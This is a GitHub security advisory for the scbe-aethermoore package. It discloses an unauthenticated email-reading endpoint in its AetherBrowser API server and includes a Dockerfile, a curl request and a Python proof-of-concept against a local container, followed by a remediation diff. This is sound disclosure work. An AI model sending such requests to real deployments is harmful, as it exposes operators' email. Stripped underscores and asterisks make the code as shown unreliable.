GHSA-q986-4x7x-gx39: High severity pip/scbe-aethermoore vulnerability

Summary

The AetherBrowser API server (scripts/aetherbrowser/apiserver.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the emailreader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to alloworigins=[""], making it reachable from any network or browser origin. This constitutes a critical information-disclosure vulnerability.

Details

scripts/aetherbrowser/apiserver.py registers the following route at line 3008 (report excerpt references line 2987; the actual line is 3008):

python @app.post("/api/ops/check-email") async def opscheckemail(): script = ROOT / "scripts" / "apollo" / "emailreader.py" result = await asyncio.tothread( runsubprocess, [sys.executable, str(script)], timeout=30, ) return { "output": result.get("stdout", "")[:2000], ... }

No Depends() guard, middleware check, or API-key validation is applied. The decorator is a plain @app.post(...), so FastAPI registers the route with zero access control.

The server is bound to all interfaces (line 4065/4070):

python uvicorn.run(app, host="0.0.0.0", port=port) # default port 8100

CORS middleware is configured to allow any origin (lines 486–492):

python app.addmiddleware( CORSMiddleware, alloworigins=[""], ... )

When the endpoint is called, emailreader.py is executed as a subprocess. It loads mail credentials from config/connectoroauth/.env.connector.oauth (line 29–34 of emailreader.py):

python loads PROTONMAILBRIDGEPASSWORD, GMAILAPPPASSWORD, etc.

With credentials present, the script connects via IMAP, fetches full RFC822 messages, and prints sender, subject, and a body snippet to stdout (lines 273–299). The API then returns the first 2000 characters of that stdout to the unauthenticated caller as JSON.

Complete data-flow path:

1. apiserver.py:4065+4070 — server starts on 0.0.0.0:8100 2. apiserver.py:486–492 — CORS alloworigins=[""] permits cross-origin requests 3. apiserver.py:3008 — POST /api/ops/check-email registered without auth 4. apiserver.py:3011–3023 — runsubprocess([sys.executable, str(script)]) invoked; stdout captured 5. emailreader.py:29–34 — connector env file loaded, credentials extracted 6. emailreader.py:378–394 — IMAP login using PROTONMAILBRIDGEPASSWORD / GMAILAPPPASSWORD 7. emailreader.py:273–299 — RFC822 messages fetched; sender, subject, snippet printed to stdout 8. apiserver.py:3023 — stdout[:2000] returned in JSON response to caller

Even without credentials configured, the subprocess executes and returns its banner output, confirming the unauthenticated code path reaches the sensitive subprocess invocation.

PoC

Prerequisites:

- Docker installed on the attacker or test machine. - Repository source available under repo/ within the build context.

Step 1 — Build the Docker image:

bash docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .

The Dockerfile (vuln-001/Dockerfile) installs fastapi, uvicorn, and pydantic, copies the repository source, and starts scripts/aetherbrowser/apiserver.py on port 8100.

Step 2 — Start the container:

bash docker run --rm -d --name vuln001-test -p 8100:8100 vuln001-aetherbrowser

Step 3 — Run the PoC script:

bash python3 vuln-001/poc.py --host 127.0.0.1 --port 8100

Or send the request manually with no authentication headers:

bash curl -s -X POST http://127.0.0.1:8100/api/ops/check-email \ -H 'Content-Type: application/json' \ -d '{}'

Expected result (no credentials configured):

json { "output": "APOLLO EMAIL READER\n============================================================\n [ProtonMail] No PROTONMAILBRIDGEPASSWORD set\n [Gmail] No GMAILAPPPASSWORD set\n\nNo emails found.\n", "exitcode": 0, "errors": null }

HTTP status 200 is returned with no 401 or 403, and the subprocess stdout appears in the response. In a production deployment with PROTONMAILBRIDGEPASSWORD or GMAILAPPPASSWORD set, the response would contain real email metadata (senders, subjects, body snippets).

Dynamic test result (Phase 2):

The Phase 2 dynamic test confirmed HTTP 200 with the APOLLO EMAIL READER banner in the response body. Server access log showed "POST /api/ops/check-email HTTP/1.1" 200 OK from an unauthenticated source. The subprocess was executed without any authentication gate being triggered.

Remediation:

Add a mandatory API-key dependency to all /api/ops/ routes:

diff -from fastapi import FastAPI, HTTPException, Query, Request +from fastapi import Depends, FastAPI, Header, HTTPException, Query, Request, status

+def requireopsapikey(xapikey: Optional[str] = Header(default=None)) -> None: + expected = os.environ.get("AETHERBROWSEROPSAPIKEY", "").strip() + if not expected: + raise HTTPException( + statuscode=status.HTTP503SERVICEUNAVAILABLE, + detail="ops endpoints disabled: AETHERBROWSEROPSAPIKEY is not configured", + ) + if not xapikey or not hmac.comparedigest(xapikey, expected): + raise HTTPException(statuscode=status.HTTP401UNAUTHORIZED, detail="invalid ops API key")

-@app.post("/api/ops/check-email") +@app.post("/api/ops/check-email", dependencies=[Depends(requireopsapikey)]) async def opscheckemail():

Additionally, the server should default to 127.0.0.1 instead of 0.0.0.0, and stdout from operational subprocesses should never be returned verbatim to callers.

Impact

An unauthenticated remote attacker who can reach port 8100 of a deployed SCBE-AETHERMOORE instance can:

1. Exfiltrate operator email metadata: sender addresses, email subjects, and body snippets from the operator's ProtonMail or Gmail inbox are disclosed in the response. 2. Enumerate mail configuration: even without active credentials, the API reveals which mail providers are configured and prints diagnostic output from internal tooling. 3. Trigger repeated IMAP sessions: repeated calls to the endpoint cause repeated IMAP logins using the stored credentials, potentially generating account alerts or exhausting connection limits.

The vulnerability affects any deployment where scripts/aetherbrowser/apiserver.py is running and reachable from an untrusted network. Because the server binds to 0.0.0.0 by default with wildcard CORS, cloud deployments and developer machines with exposed ports are directly affected. No credentials, tokens, or prior knowledge of the application are required by the attacker.

Reproduction artifacts

Dockerfile

dockerfile Dockerfile for VULN-001: Unauthenticated /api/ops/check-email endpoint Reproduces CWE-306 (Missing Authentication for Critical Function) in SCBE-AETHERMOORE apiserver.py v4.2.1 Build context: pypiAi1296issdandavisSCBE-AETHERMOORE/ (parent of vuln-001/) Build: docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile . Run: docker run --rm -p 8100:8100 vuln001-aetherbrowser

FROM python:3.11-slim

WORKDIR /app

Install only the packages required for apiserver.py to start. All other imports (asyncio, subprocess, pathlib, etc.) are stdlib. RUN pip install --no-cache-dir \ "fastapi>=0.100.0" \ "uvicorn[standard]>=0.27.0" \ "pydantic>=2.0.0"

Copy the repository source. The build context is the report root (parent directory of vuln-001/). COPY repo/ /app/

EXPOSE 8100

Start the AetherBrowser API server on all interfaces at port 8100. This replicates the production start command documented in apiserver.py line 6-8. CMD ["python", "scripts/aetherbrowser/apiserver.py"]

poc.py

python #!/usr/bin/env python3 """ VULN-001 Proof-of-Concept: Unauthenticated /api/ops/check-email

CWE-306 — Missing Authentication for Critical Function CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)

Target: scripts/aetherbrowser/apiserver.py (SCBE-AETHERMOORE v4.2.1)

This PoC demonstrates that: 1. POST /api/ops/check-email is accessible without any authentication token. 2. The server responds with HTTP 200 instead of 401/403. 3. The email-reading subprocess (emailreader.py) is executed and its stdout is returned verbatim in the JSON response — confirming the unauthenticated code path reaches the sensitive subprocess.

Usage: python3 poc.py [--host 127.0.0.1] [--port 8100] """

import argparse import json import sys import time import urllib.error import urllib.request

TIMEOUT = 10

def waitforserver(host: str, port: int, maxwait: int = 30) -> bool: """Poll the health endpoint until the server is ready.""" url = f"http://{host}:{port}/api/health" deadline = time.time() + maxwait while time.time() < deadline: try: with urllib.request.urlopen(url, timeout=2) as resp: if resp.status < 500: return True except Exception: pass time.sleep(1) return False

def sendunauthenticatedrequest(host: str, port: int) -> dict: """Send POST /api/ops/check-email with NO authentication headers.""" url = f"http://{host}:{port}/api/ops/check-email" req = urllib.request.Request( url, data=b"{}", method="POST", headers={"Content-Type": "application/json"}, # NOTE: No Authorization header, no X-API-Key, no session cookie. ) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as resp: body = resp.read().decode("utf-8", errors="replace") return {"status": resp.status, "body": body} except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace") return {"status": exc.code, "body": body} except Exception as exc: return {"status": -1, "body": str(exc)}

def main() -> int: parser = argparse.ArgumentParser(description="VULN-001 PoC — unauthenticated check-email") parser.addargument("--host", default="127.0.0.1") parser.addargument("--port", type=int, default=8100) args = parser.parseargs()

print("=" 60) print("VULN-001 PoC: Unauthenticated /api/ops/check-email") print("=" 60) print(f"Target: http://{args.host}:{args.port}/api/ops/check-email") print()

# Wait for the server to be ready. print("[] Waiting for server to become ready ...") if not waitforserver(args.host, args.port): print("[!] Server did not become ready within 30 s — check the container") return 1 print("[+] Server is up") print()

# Send the unauthenticated exploit request. print("[] Sending unauthenticated POST /api/ops/check-email ...") result = sendunauthenticatedrequest(args.host, args.port) status = result["status"] body = result["body"]

print(f"[] HTTP status: {status}") print() print("[] Response body (first 1500 chars):") print("-" 60) print(body[:1500]) print("-" 60) print()

# Parse the JSON response if possible. outputfield = "" try: parsed = json.loads(body) outputfield = parsed.get("output", "") except Exception: outputfield = ""

# Determine pass/fail. # PASS criteria: # (a) HTTP 200 — the request was NOT rejected with a 401/403. # (b) The response body contains the email-reader banner string # "APOLLO EMAIL READER", proving the subprocess was invoked. # Note: Without real IMAP credentials the reader will print the banner # and report "No PROTONMAILBRIDGEPASSWORD set" / "No GMAILAPPPASSWORD set". # With real credentials it would return live email metadata.

critauth = (status == 200) critsubprocess = ("APOLLO EMAIL READER" in outputfield or "APOLLO EMAIL READER" in body)

print("[] Criteria evaluation:") print(f" (a) HTTP 200 returned (no auth gate): {'PASS' if critauth else 'FAIL'} (got {status})") print(f" (b) Subprocess executed (banner in response): {'PASS' if critsubprocess else 'FAIL'}") print()

if critauth and critsubprocess: print("[PASS] Vulnerability confirmed: POST /api/ops/check-email") print(" is reachable without authentication and the email-reading") print(" subprocess is executed, returning its output to the caller.") return 0 elif critauth and not critsubprocess: # Still a valid PASS for the auth-bypass aspect; subprocess may have # errored out but the missing authentication is proven. print("[PASS] Auth bypass confirmed: HTTP 200 without credentials.") print(" Subprocess output not captured (may have crashed), but") print(" the endpoint is unauthenticated — CWE-306 is confirmed.") return 0 else: print("[FAIL] Could not confirm the vulnerability.") print(f" HTTP status was {status} — expected 200.") return 2

if name == "main": sys.exit(main())